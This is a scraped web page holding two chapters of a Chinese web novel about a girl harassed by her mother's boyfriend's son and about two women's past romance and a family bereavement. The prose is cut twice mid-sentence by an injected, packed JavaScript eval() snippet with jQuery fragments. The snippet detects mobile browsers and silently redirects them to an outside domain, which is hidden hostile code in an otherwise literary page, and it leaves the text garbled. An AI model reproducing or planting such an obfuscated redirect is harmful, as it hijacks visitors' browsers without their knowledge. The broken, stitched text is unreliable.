程芷琳轻轻应了声,拿上睡衣走进浴室。
妹妹则是等着母亲男友的孩子吹干头发再用。
脱衣服,打湿身体,用自己带的浴球搓出沐浴露泡泡。
因为是干性皮肤,头发不用每天都洗,碎裂的泡泡溅入眼睛,陌生的疼痛沿着眼球蔓延,她不适闭眼,用清水冲洗。
忽然,她背后的窗户传来些微动静,像什么东西掉下去,楼下又恰好传来猫叫,程芷琳还以为是野猫在楼外打闹,并未在意。
快速冲去身上泡沫,用毛巾擦干身体后裹住头发。
穿好衣服走到墙上圆红镜子前,还没来得及拧开大宝瓶盖,窗缝外渗入的凉风吹散水气,激起手臂鸡皮疙瘩。
身体比直觉更快反应,程芷琳在意识到看到什么后瞳孔瞬间紧缩,肢体僵住。
她缓缓抬眼去看没被水雾蒙上的镜子,被水滴溅到的镜面映出后方窗台景象。
一双眼睛藏在窗底缝隙,黏腻又凶狠地盯着她,像从笼子逃走又回来复仇的硕鼠。
22.冬菇蒸肉饼
"然后呢?你有跟你妈妈说过吗?"
"说过,她说,是我看错了,别一天到晚瞎想,尽早去电子厂打工。"
于是,程芷琳初中的暑假不断在电子厂、玩具厂、手机壳厂这些地方辗转。
直至长大,随着时代发展,开始去麦当劳、肯德基之类餐饮店打工,至少正规些,不会出现工资要不回来或是拖延时间的现象。
初中时被母亲男友儿子偷窥过的事没入时间这条长河,无人再提起。
尽管新闻和老式燃气热水器标识一个劲在提醒,洗澡要留气口,不然容易一氧化碳中毒,程芷琳也有很长一段时间不敢再开窗,门口也必须有妹妹守着,直至出来自己租房后才渐渐好转。
母亲爱她吗?
无疑是爱的。
只是多和少的区别。
家里三个孩子,两个女孩,一个男孩,足够昭示这意味着什么。
母亲身边又有了男友陪伴,分给她的就只剩那么点。
身为家中长姐,她懂事、听话、读书不错,不让母亲操心就是她最大的价值。
安安静静,不吵不闹,却似乎在母亲心里活成透明人。
程芷琳无数次在夜里想过,也曾不甘心。
可天色亮起那刻,就必须起身,寻找温饱活计。
她的童年也在告别父亲、告别外婆、告别奶奶中宣告结束。
疼爱她的亲人相继离世后,偏爱这两个字也离程芷琳越来越远。
"爱"这个字成了奢侈品。
她不断给出去,期待别人回应,可终究落空。
身处晦暗,内心无光时是会招来恶心东西的。
林予星曾郑重对她说过这句话。
那时程芷琳并不明白这句话是什么意思。
直到母亲男友儿子捧着畸形且变质的"爱"出现在她面前。
二十七八的男人找不到老婆,常年与父亲住在出租屋,过年回家也是七八口人住在老宅,工作不稳,三四千块工资光是烟酒就花去大半。
高中暑假,在遇到沈观止前,偷看过自己洗澡的男人特意买了她喜欢吃的青李,压下大嗓门,趁着没人在家,走进厨房盯着她半晌。
程芷琳不明白他什么意思,只感觉到他那猥琐的目光不断在自己身上逡巡,仿佛在打量货架上的情.趣用品。
无名怒火从心底涌上,她放下菜刀,冷淡问他:"有事吗?张哥?"
他收起目光,露出黄牙笑了笑:"没事,我给你买了青李,给你洗着吃。"
程芷琳警惕望着他,不自觉握紧菜刀把:"噢,知道了,谢谢张哥。"
他没再往下说,拿了个塑料红色篮子进厕所用水龙头清洗水果。
每年暑假三姐弟都会来汕城,母亲男友儿子张哥鲜少动弹,不是在抽烟就是喝酒打牌,从不管家里事宜,都丢给自己亲妹妹。
事出反常必有妖。
程芷琳拿出手机,给自己妹妹发短信。算算时间,买姜的话应快要回来了。
她心不在焉将泡发的干冬菇从碗里捞出,切成丁后将买来的猪肉末倒出。
加盐、泡菇水、放点蚝油……
厕所水龙头的动静越来越小,直至男人洗完青李,走到她身边,将湿哒哒的篮子递到她面前。从篮子缝隙中渗出的水落到水泥地板上,将灰扑扑的地板洇成亮黑。
头顶灯泡昏黄,映在地面,碎得像金黄色纸片。
"我听你妈妈说你喜欢吃青李,正好今天放工买了点,你尝尝?"张哥态度友好,将篮子往她面前凑了凑。
程芷琳摇头拒绝:"不了,我先把菜做完。张哥你要是没什么事就去外面坐着看电视吧。厨房太小,一个人比较方便。"
听出她话里意思,张哥嘴角耷拉下去。
程芷琳原以为他会离开,谁知他只是从她身边走到门口,堵死她向外走的路,开始拉家常。
从她学业开始谈,谈到生活,再从生活谈到感情。
程芷琳压下不耐烦,应付着他,手下速度加快,不断去看手机屏幕,想要再催催妹妹回来快些,但又她太快怕路上有危险,只能忍住不安的心情,与他有一搭没一搭地聊。
“其实我觉得高中嘛,谈谈恋爱也不要紧,不要影响学习就好了。像你这么好看,学校没人追很稀奇啊。你哥这么些年看着你长大,你也是很优秀的。”张哥滔滔不绝,忽而话锋一转,“唉,不过嘛,现在家庭很少能接受单亲的。你看,你妈妈和我爸,也就是你叔叔关系这么好。你觉得张哥对你怎么样?”
猥琐变态。
自大自我。
不尊重人。
屁股坐下就抬不起来。
酱油瓶倒了都不扶。
多到数不清的缺点,就像筛筐筛下的碎石子。
程芷琳不会直说,只敷衍道:"不谈,我还要读书。张哥,谢谢你给我买李子,可以的话能不能帮我拿个碗筷,饭快好了。"
她惯会转移话题,回避自己不想回答的话。
听到她这么说,张哥自己先拿了个李子吭哧吭哧啃起来,脆响在他口中伴随吧唧声。程芷琳侧过脸去看,恰好看到几点唾沫往外飞。
她忍住恶心,将腌制好的肉饼放进炉灶上蒸,又顺手把空了的酱油瓶丢进垃圾桶。
张哥还在边嚼李子边说话,程芷琳真想求他闭嘴,她不想一会吃饭米饭里混着他的口水。
可他的话源源不断在门外传来,她忍了忍,起锅烧油爆香,假装听不到。
"以前啊,是张哥忽视了你,没办法,我们男人就是没这么细心。但你们一家每次来,张哥都有准备好东西。你看,你来了张哥就给你买李子。不过我说,你们家这种情况你差不多高中毕业就该去打工了。读那么多书没用,到最后还是要嫁人。靠天靠地不如靠老公,你还太年轻,不知道这社会险恶。"
"张哥就是高中读完就去打工了,幸好啊,没有浪费钱继续读,你看我现在每个月五千多块钱,又可以帮家里,自己也能活得自在。以后娶了老婆,张哥也是会好好对她的,她要什么我给什么,这条命都能给她。女人的青春很短暂的,越大越没人要,高中读完后跟张哥去日化厂吧,我托个关系,把你送进去,每个月三四千很容易的。"
“说了这么多,张哥就是希望你考虑考虑。你身边都是小屁孩,没有参考性。男人还是要选成熟稳重疼老婆的,张哥最适合你,不嫌你家单亲,也不嫌你妈妈身体不好,还要带一个弟弟,一个妹妹。你要是觉得不错,咱们俩加个微信,等你高三读完,就来张哥这,怎么样?”
油麦菜下锅,蒸腾雾气涌起。
因为没有抽油烟机,小厨房内快速被雾气占满。
小窗外正迎来逆风,不少油烟涌进客厅。
程芷琳往右跨了一步,借着油烟名义关上厨房破旧木门。
她被呛得咳嗽,眼泪都咳出来,分不清是屈辱还是其他。
只知道,在那一刻她便发誓,自己要考出去,考出这座山城,远离这个鬼地方,把妈妈接走,再也不回来。
饭桌上。
陈米透着草木灰的色泽。
唯一一道荤菜,香菇肉饼放在正中,四周围着素菜。
人刚到齐,张哥已拿起勺先自己挖了一大块肉进自己碗里。
母亲看到,看了眼程芷琳问:"怎么做得这么少?肉菜做多点嘛,你叔叔和你张哥都是要干活的,不吃肉不行。还有你张叔女儿,晚上加班回来也要多补充营养。"
程芷琳轻轻"嗯"了声。
妹妹斜看了她一样,拿起调羹也挖了一勺,却是放进了程芷琳碗里:"我姐也很辛苦,又要去做工,回来还要给做五口人的饭。吃。"
"你也吃。"程芷琳给妹妹也挖了勺。
母亲脸色已不大好看,张叔跟看不到听不到那般,沉默夹菜吃。
程芷琳隐隐觉得母亲应是要发作,妹妹不轻不重顶了句,可能让母亲觉得没面子。
可是她却是也很辛苦啊,这家里不是只有张家三口人在干活。
母亲和自己在干活。
妹妹不知去哪弄了手工,抓着贪玩的弟弟也每天在小房间做手工。
何况……
程芷琳到底没说出口。
她不说,妹妹却放下碗筷说话了,边夹菜边道:"妈,我姐手头上没钱了,晚上再买把番薯叶,最后三块钱就没了。我们现在不是四张嘴在吃饭,现在又多了三口人,有点顶不住。"
程芷琳愣住,不敢置信去看程婷婷。
桌子底下,她用膝盖碰了碰妹妹,示意她闭嘴,开口想要打圆场:"还好,还有钱,没事的,晚上我多买点肉。"
程婷婷不顾母亲已经变得难看的脸色,接着道:"阿姐一个星期前就在用自己做工的钱买菜,她头绳断了都没钱买,就知道用我的。我也没钱了,每天和程俊做吊牌,手都快累断了。还有一段时间就要开学,今年学杂费涨了,我们三赚的钱还要拿来读书。"
"够了。"母亲狠狠拍下筷子,眼睛周围表情都皱在一起,头顶昏暗光线撒下,在她脸上蒙了层阴影,变得可怕,仿佛换了个人。她怒道,"又不是没给你们钱,没钱不会告诉我吗!我每天做工就是为了供你们读书,缺过你们吃穿了吗!你说这个什么意思!"
能是什么意思。
住在这吃不好穿不好,不如她们三人租来住的小屋,还要倒贴钱给张家三口人买菜。
气氛降至冰点,程婷婷摆明今天要和母亲顶撞到底。
不等她说出下一句,程芷琳拉住她。
"婷,今天你忘记买酱油了是不是?吃完饭我们去买一瓶。"程芷琳想要转移话题,将此时气氛挽救回来。母亲虽不会打她们,但难保她们家和张家会起冲突。
谁知程婷婷板着脸说:"不是忘记,我没钱了,只够买一块五的姜!"
这句话更是让本就不好的气氛一降再降。
在场人静悄悄的,谁都没有再说话。
母亲盯着她们,沧桑的脸上每条纹路都写满愤怒,眼中利光针扎似的射向两人。
程俊缩在两个姐身边尽量减少存在感,努力往自己嘴里塞米饭,装作什么都不知道。
沉默已久的张叔用膝盖撞撞自己儿子,提醒着什么,自己却埋头吃饭。
"好啦好啦,不吵架。"张哥这时才出来打圆场,"这几天本来想跟你们说的。虽然住在我们这,但我们都是一家人,一家人不说两家话。婷妹说的也是事实,我们家两个孩子都出来上班了,你们三个还在读书,老让你们买菜也不方便。这样,我们这边拿个一千块伙食费,当作辛苦钱。"
一千块。
三口成年人。
只是买菜钱,没有算人工。
程芷琳听懂他们张家的潜台词。
程家四口人住在张家没有付房租,白住一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245224|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个半月,他们出了米钱,再拿出一千块已经是公平公正。
张家租住的地方离各个厂房都近,很容易找到短期活计,他们将这功劳安在自己身上。给了房住,给了米,还给了工作机会,将各个环节细枝末节算下来,他们觉得她们家是占了大便宜。
可是……
可是……
她的劳动力不值钱吗?
饭菜是她们家承包,每天卫生还是她们,甚至……
"程姨,你也不用生气,她们毕竟还小。"张哥开口安抚,他瞥眼程芷琳,叹口气,"你一个人养三姐弟也是辛苦。你们回来之前我就劝芷琳,高三读完就可以考虑出来了,厂里不是没有上过大学的,上完不是还来厂里打工了吗?都一样。不如趁年轻,早点出来打工,她要是高三读完出来,我就走点关系,来我们厂,干活轻松,又有空调。还能经常回我们家,你也能经常见到你女儿嘛。"
程芷琳心下渐凉,她下意识去看自己母亲神色。
比同龄人苍老的母亲微微皱眉,捧着碗在旁沉思。
她再去看张叔脸色,他依旧低着头不说话。
七十五厘米的餐桌,围着五口人,桌上三荤一素。
白日也需要开灯的客厅昏昏暗暗,头顶灯泡静止不动。
她就像桌上那盘冬菇蒸肉碎,谁都能决定分食多少。
如果母亲也同意了张哥的说法,她该怎么办?
真的要辍学吗?
真的要困在出租屋一辈子吗?
真的要在厂里循环过她的人生吗?
她不愿意过这样的生活啊……
程芷琳攥紧拳头,口中含着的肉末瞬时失去它该有的鲜美。
浸满肉汁的冬菇像腐烂出油的尸体,散发出令人作呕的气味。
胃控制不住抽搐,她忍住呕吐,用力咽下自己做的饭。
程婷婷想说话,被程芷琳捏住膝盖,挤压的疼痛从两侧袭来。
她看着自己姐姐,有无数话想说却不能说,她又去看自己弟弟,他仍是遇到冲突就装死,再看自己母亲,程婷婷心里一咯噔。
什么意思?
母亲真的要同意?
高中毕业就打工,还是住在这?
张家男人明显对程芷琳不怀好意,母亲自己眼光差找了个这样的,难道要自己女儿也找个这样的?
时光不知过去多久。
客厅里只听到两个男人吃饭的动静。
程芷琳盯着面前的碗,想到了自己外婆,自己奶奶,如果她们还活着,一定会让自己有书读……
她想了许许多多,在即将承受不住之际,母亲总算开口。
"让她读吧,三姐弟除了程俊,两姐妹书都读得不错,在学校是中上水平,不读可惜了。"
话音落下。
两颗忐忑的心也随即落下。
一顿饭吃完,洗完碗,出门去电子厂。
路上细窄巷子蜿蜒不断,蟑螂老鼠乱窜。
程芷琳走出几步,即将走到巷子口时,胃里翻江倒海,她扶着墙,将午饭全部吐了个干净。吐到最后,只有胆汁胃酸。
阳光拉长她的身影,弯拱起的背像座秀气的小山。
一片绿叶带着种子被鸟啄下,掉在她的背上,滚落于花盆中。
圆溜溜的果实静静躺在泥土中,正待发芽长大。
或许有一天,会从小树苗变成不大不小的树,只够鸟雀遮荫。
或许会开满花,散发出幽幽清香,让路人驻足观赏。
或许会成长为参天大树,遮天蔽日的茂密枝叶遮下绿荫,供人纳凉。
或许会成为山间不起眼的树,长出的果实能让松鼠飞禽过冬。
可无论哪一种,她们都会长大,成为那棵树,根系绵延千里,风吹不倒,雨打不散。
在这之前,只能是读书,读书,读书,不断读书。
靠成绩考出山城,或是靠手艺留在大城市。
手机震动。
一次、两次。
三次、四次……
[程芷琳:我跟沈观止吃完饭啦,他人不错,比照片上好看。]
[程芷琳:皮肤白白的,快三十,但看不出,我感觉跟刚出校的大学生一样。]
[程芷琳:我们吃饭的地方商场有点冷,他给我买了披肩,上网搜了下,五百多。]
[程芷琳:说好我请他吃饭,结果他又偷摸付了钱,我很生气,他说他们那不许女生付钱,我能来见他就是最好的见面礼了。]
睡得迷迷糊糊的林予星被震醒,在她伸手去摸手机之前,映入眼帘的却是陌生的地方。她顿了顿,缓了会才想起自己还在黎嘉年家里。
她慢慢坐起,不等她找到人就听到被靠枕遮挡住的斜对面有人说话。
"醒了。"黎嘉年放下书,往电脑键盘上敲了一串字。他没有看她,接着道,"黎欣说你很能睡,我原本不太信,今天算是有了初步概念。起来缓缓,还有半杯椰子汁,喝下去,然后我们再去吃晚饭。"
他语气很温和,听得出是在调侃。
林予星坐在沙发上,睡得头发凌乱。
她坐了会才跟开机的机器人一样,目光却定在了桌面书籍上。
上次是英语,这次是日文。
她想了想,问他:"房东,你做什么工作的?"
黎嘉年打字的动作顿住,镜片后的眼睛略带了些无奈。
23.杏仁饼
停车场在小区底下。
平时如果不注意,入口很容易被忽略过去。
底下黑魆魆的,灯坏了,保安便绑了个手电筒上去。
透过别人家车后镜看去,黎嘉年看到身后林予星并未有任何惧怕神色,如果不是时机不对,他怀疑她会来一场地下寻宝。
“怎么了?”林予星觉察他脚步慢下来,困惑问,“你找不到车了?”
“嗯,找不到,只能坐一个钟公交,再走一个半钟的山路了。”
林予星:“……这么远,吃猪脚饭算了。”
她对美食没有执念,小时候该吃的不该吃的山货都吃过,不像城里长大的,看到什么山货都觉得稀奇。
城巴佬。
她在心里小声蛐蛐。
“不行,好不容易能抓到你有空。”黎嘉年不再逗她,选了条正确道路,按下车钥匙。
“哔哔——”
最角落车辆灯光亮起。
林予星偏头去看,是辆白车,车标像个小于号。
她不大认识车标,走过去正要摸向后车门,黎嘉年拿着车钥匙替她开了副驾后若无其事从车后转了圈,走回主驾。
总觉得他是故意的……
林予星盯着他好一会,直至车门关上,她这才走过去,进入副驾。
他的确是故意的。
黎嘉年看了眼林予星,提醒道:“安全带。”
一个月才能看到她几次,两人时间错开见不上几次面,工作日匆匆路过连招呼都来不及打。现在,他想多看她几眼。
面前丝缕碎发垂落,她看不清卡扣位置,用食指摸索。
不等黎嘉年帮她,“咔哒”一声已经扣上。
伸出去的手若无其事放回方向盘。
挂D挡,油门缓缓踩下。
白车往前行进,离开地下停车场。
到了下午五点,本该亮堂的天色却灰扑扑的,透过车窗往外看,云层厚重,隐隐有下雨迹象。
车载音乐传出钢琴声,慢慢悠悠,是她喜欢的风格。
开场平平无奇,越到中间越是澎湃汹涌,似随时变化的深海,波折不断,藏着无数已不可知的故事。
林予星望着窗外放空,却被音乐拉回,她看了好几回黎嘉年,堵在红绿灯前时终于忍不住问:“谁给你的歌单?”
黎嘉年盯着前方红绿灯,镜片后的双眼平静无波,初见稍显年轻的温和面容在镜片与薄弱天光切割光影下多出几分冷淡成熟的味道。
食指敲击在方向盘,听到她问话也没有停下。
他极其自然回答:“我姐。”
“我想也是。”林予星回了句,再不接着问。
红绿灯开始倒数。
十秒倒计时。
十……
四……
三……
二……
一……
“她结婚了,国外领的证。”黎嘉年踩动油门,缓缓跟随前车挪动。
十字路口路况复杂。
不仅仅是各种轿车越野车杂牌车豪车,还有各式各样的电动车,以及见缝插针闯红灯的行人。
来来往往,都在着急奔赴目的地,将生命置于最不值钱的时间后方。
交警拼命吹哨,警告几辆试图闯入的电动车,指挥混乱场面。犹如正在大洗牌的麻将,等待码放累成规则内的模样。
林予星凝视远处人行道正用粤语吵架的大妈们,心不在焉道:“嗯,我知道。”
她甚至见过黎欣的结婚照、双人合照、婚纱照,哪会不知道。
老城区内遍地超雄老头暴躁老太,嚣张仗着自己年老互相问候全家,原本只是两个大妈吵架,也不知怎的,渐渐有人加入战局,扩展成圈,眼看要动起手来。想听她们在吵些什么,又不能真在这时下车去看热闹。
她稍稍降下车窗,试图去听点八卦,却只听到一堆“冚家铲”、“死扑街”、“老监趸”之类的粗口。
再有的,因为语速过快听不清了。
黎嘉年见她毫不关心的样子,略微放下心,等通过路口,走入限速路时才继续道:“她准备回来再办一场酒席,跟我们家亲友坦白,你……去吗?”
拐过十字路口后接下来的路顺畅许多。
遗憾的是不知道那群老人吵架内容。
车窗重新升高。
零星雨点降落,雨刷慢慢摇摆。
林予星盯着前方红车,带了些许开玩笑语气:"我去做什么,吸引火力吗?诶,你姐第一次出柜就是和我,高中时候,被你爸打了两巴掌你忘了?你们家亲戚要是还有印象,估计会认为是我带坏的你姐。"
那时她不是第一次去黎家,却是第一次与黎欣面对来自父母长辈的狂风暴雨。
在所有人都以为她们是朋友的时候,给予重重一击。
比她高了半个头的黎欣校服都还没脱,郑重其事地拉着她的手,向一屋子亲戚面前坦白她们的关系。
"爸妈,阿叔,阿伯,大舅小舅,姑姑。"黎欣喊了一圈子人,最后鼓起勇气,"佢系我女朋友,唔系我朋友。我哋……系情侣关系。"
时隔多年,林予星还记得清楚。
本来在剥核桃的黎爸动作跟被冻住了般,黎妈满脸不可思议望向她们。一屋子黎家亲戚脸色缤彩纷呈,比见了鬼还精彩。
在黎爸起身打黎欣前的十五秒,是林予星此生经历过最漫长的十五秒。
空气凝结,呼吸停住,所有人都像按下暂停键,僵硬地像雕塑般望着她们。
墙上时钟嘀嘀嗒嗒响着,厨房汤锅咕噜噜冒泡,电视机闪烁画面,昭示着时间还在继续。
黎爸原本仍算白皙的肤色在那么一瞬间黑沉下去。
黎妈张了张嘴,眼中火苗燃起。
总是温文尔雅的父母做什么事都慢慢悠悠,却在那时爆发出了惊人速度,快得像阵风穿过林予星身边。
黎爸白衬衣衣角刮过她的脸,犹如巴掌,不仅用力刮到了黎欣脸上,同时扇在林予星脸上,很疼,火辣辣的。
水杯落在地上那一瞬,碎成无数冰晶。
伴随粤语的谩骂声,场面混乱成团。
黎嘉年和林予星几乎是同时扑在黎欣身上替她抵挡,结果就是三个孩子都被结结实实赏了好几巴掌。
对待孩子从不动手的黎爸暴怒起来连眼镜镜片都摔碎了,黎妈哭着打黎欣后背和腿,被众人拉开才结束这难看的场面。
后来,黎欣被送往国外读书,便是黎家共同商议的结果。
他们本来想等黎欣高中读完再送出去,因为出柜这事提前了。
很成功的谋划。
两家贫富差距太大,他们料定林予星没有钱跟出去。
跨国几千公里路程。
昂贵到四位数的飞机票。
当地高昂物价。
逐渐开阔的视野。
林林总总,都成了两人之间阻碍。
"黎欣,分手吧。"最后,还是林予星提的分手。
她比黎欣这富家女更清楚二人之间差距,有情饮水饱只会出现在爱情童话小说里,她不想让两人到最后会是一地鸡毛。
贫穷夫妻林予星见过是什么样子,哪怕她们性别对不上,道理终归是一样。
资金不充裕的情况下,能用钱解决的鸡毛蒜皮小事都会磨光爱意,像损耗的金属部件,每刮下一层粉末便离断裂不远,直至彻底崩坏,换上新零件,维持运转。
没有谁是谁的必需品。
坏了伤了不爱了死了,那就再换另一个。
真正凭着爱意,而不是习惯的,能走到最后的又剩多少?
车内安静许久。
前尘往事如飘摇风雨,被刮去痕迹。
黎嘉年抓紧方向盘,打右转向灯换到慢车道,这才缓声开口:"我父母去世前,其实已经同意你们在一起。他们……接受了,说多一个女儿也好,不用让黎欣去别人家,又要担心她下半辈子过得不好。"
"嗯。"林予星轻声应道。
她早就知道,但两人还是分开,不是因为其他,还是因为黎家父母。
有道坎,是她和黎欣永远迈不过去的深深沟壕。
黎嘉年或许也想到什么,抿紧了唇。
气氛微妙地发生变化。
车门储物凹槽内香薰散发的香气进入中后调,焚香与沉木香交融,多了丝苦意。
黎家父母在她们即将毕业走出校园时出了车祸。
寻常的日子,寻常的生活,寻常的街道。
本是要去奢侈品店给黎欣买个包再买点金饰的两夫妻等绿灯通行时说着话,笑着聊着路过,丝毫没有注意到远处疾驰而来的危机。
五人死亡,二十人受伤。
那天蓝底白底的警方通报,冰冷数字包含了数十个家庭。
即使怀揣着报复社会的凶手到最后被判处死刑,也无法挽救回从前。
黎欣远在国外,没能见到父母最后一面。
等她回来时,双亲已躺在冰棺里,靠着入殓师的技术拼凑出完整身躯,然而面容仍是扭曲青紫。
皮下密密麻麻的线与填塞物支撑起破破烂烂的皮肉,粉底再厚也盖不住生前遭受过的撞击。
林予星被黎嘉年以朋友名义叫来殡仪馆时,黎欣已经守在冰棺前两天没有合眼。
几年前殡仪馆并未像现在这般多规矩。
工作人员没敢强制把她转移走,只能任黎欣呆在里面。
当林予星赶到,看到黎欣那刻,恍惚已经过去好久好远。
她没有说话,走过去先看了看黎家父母,随后拿了三炷香点燃,恭恭敬敬朝二老行鞠躬礼,把香插.入角落里的炉子,做完这一切,她才走到黎欣身边,靠着黎母棺材坐下。
"要躺会吗?"这是两人自分开以来,林予星和黎欣说的第一句话。
她像是看不到地上灰尘,顺了顺裤腿,把褶皱摊平,也把双腿放平,无声询问黎欣。
已经熬得满眼红血丝的黎欣直愣愣望着前方遗照,温顺躺在她腿上。
那时,似乎也是阴雨天。
对面小窗没有拉窗帘,能看到后山景象。
天气阴沉,空气中潮湿到似要凝结出水珠。
她们保持着一坐一躺的姿势很久很久。
久到林予星没有多少肉支撑的尾椎骨发疼。
久到天色从白昼转为昏黑。
久到雨点落下,砸得窗边白色山茶花坠落凋零。
黑色水泥地板被雨水淋湿,明明是外面在下雨,林予星却感觉,屋内也在下着雨,甚至淋湿了她的裤腿。
右手从黎欣胳膊上抬起,顿了顿,轻轻放在她在国外放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284987|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飞自我后染得乱七八糟的头发上。发质比起从前有些粗糙,也有些硬,不复从前柔软,像在触碰装了层盔甲的心脏。
林予星低头看她,从头顶到发尾,丝丝缕缕,五指成梳,替她梳理打结的短发。
那是林予星最后一次见黎家父母,也是最后一次见黎欣。
等到黎家双亲火化,放入公墓,林予星用身上仅剩的五块钱给黎欣买了早餐,放进那人双肩包后便不再主动联系。
她们都不知道,在冰棺前一举一动,说的每句话,黎嘉年都知道。
白事是当年十九岁黎嘉年和舅舅叔伯一起操办的,他忙完丧葬事宜后曾回到过殡仪馆,撞见的就是这一幕。
他不明白,为什么林予星和黎欣明明对对方还有感情却没有选择在一起。
那么多年过去,时代在进步,旧思想也在转变。
没有人会在原地踏步太久,何况是读了这么多书的父母。
即使古板守旧了些,爱女儿的那颗心也在鼓励着夫妻往前看。
身边亲朋好友也不再用异样目光看待与世俗不同的爱情。
加上黎欣越来越优秀,身边所有人都在改变原先看法。
父母生前留下的遗书明确写着已经接受黎欣性取向,给女儿伴侣的礼物都已经准备好。
可结婚照上的人却换了。
两个人都走出了那段感情,只有黎嘉年还困在她们中间,无法走出。
他想知道,林予星真正的回答。
她还喜欢黎欣吗?
真正放下了吗?
又为什么会这么干脆放下?
父母的去世他们作为儿女都知道是场意外,为什么林予星会认为这是她们之间无法迈过去的障碍?
黎嘉年有很多话想问,对他来说,他就像半个黎欣的替身,如果不弄清楚林予星的想法,他这辈子都不会有机会。
仿佛是听到了他的心声,林予星望着窗外叹了口气,问他:"你们清明时候有没有去扫墓?上次我去的时候,正好看到你父母墓前有只猫,长得有点像你以前养的那只,要是有机会,你过去试试能不能碰到它,蛮亲人的。"
"好,我下次去看看。"顿了顿,他又问,"你什么时候去的?"
"半年前吧,记不清了。我一个人去的,正好去附近散散心,然后路过看了下你们父母。"她很喜欢安静的地方,老家能清净点的只有墓地,林予星又不避讳这些,自然觉得哪哪都能去。
可她没有告诉任何人,去完墓地后她就得了上呼吸道感染,烧了两天才好。
要是说出来,估计要被安排喝符水,搞点封建迷信活动。
"你……再没有联系过黎欣吗?"黎嘉年终于忍不住说出口,"我一直想问,你们到底为什么没有重新在一起?抱歉,我知道这个问题不该问,但我想知道很久了。"
林予星却没有回答,只歪头靠在车柱上。
这些车也不知道怎么回事,不论坐贵的便宜的好像永远没有女性适合的型号,坐得甚至没有乡下十五块钱的藤椅舒服。
气氛再度冷下。
黎嘉年余光迅速瞥了眼,转移话题道:"你面前的储物柜有杏仁饼和其他零食,你看看要吃点什么。"
原以为她会拒绝,林予星却刚好嘴馋,伸手去拉开柜子,选了杏仁饼和一瓶益力多。
打开白透硬盒,里头躺着的杏仁饼滚了滚,饼渣如沙,沉积在盒底。
买来的人不知放了多久,两层不过十几个,他却只吃了两块。
林予星抽出一张纸巾,捻起一颗杏仁饼放进纸巾,把盒子虚虚盖好,这才开始品尝它的味道。
酥脆杏仁饼很干,津液浸润后缓缓化开,甜丝丝的味道伴随杏仁碎香气弥漫口腔。她不大喜欢这个略带陈旧的味道,总让她想到从前从前和母亲到处流浪的生活。
制衣厂里发下的一颗糖、一块饼、一个巧克力,母亲总会不舍得吃,全都揣进口袋带回家给自己。
那些廉价的小零食香精味道很重,口感又不大好,林予星不爱吃,母亲看出来后总会责骂她,有好东西不吃,自己都舍不得吃,下次再也不给她带云云。
久而久之,林予星对吃零食越来越抵触。直到现在,每吃下一口,母亲的骂声仍然在她耳边隐约响起,导致胃里难受到反酸水。
于是林予星只吃完一颗便将杏仁饼盖摁上,放回储藏柜。
她撕开益力多上的锡纸,将口中残余甜味粉末压进胃里,这才低声道:“有些时候,不一定非要在一起,是吧?”
不一定非要在一起?
为什么?
黎嘉年听她有松口的迹象,缓声坦白:“我不明白。”
“你们或许都有猜,我是因为你们父母才不松口。但不全是,黎嘉年,我有自知之明,我和你们家差距太大,注定不可能平等。对黎欣来说,我是她半个白月光,承载了她青春记忆。但如果没有我,她不会提前出国,少了很多陪父母的机会。”
哪怕这个诱因不是因为她,而是其他人,可真真正正陪黎欣见父母的是她,曾在这些事里出现的也是她,注定林予星无法用这个借口自洽。
良善者,哪怕是微末愧疚也会成为牢笼。
听到她这么说,黎嘉年不知道怎么就蹦出这句话。
哪怕林予星自认为不是个好人。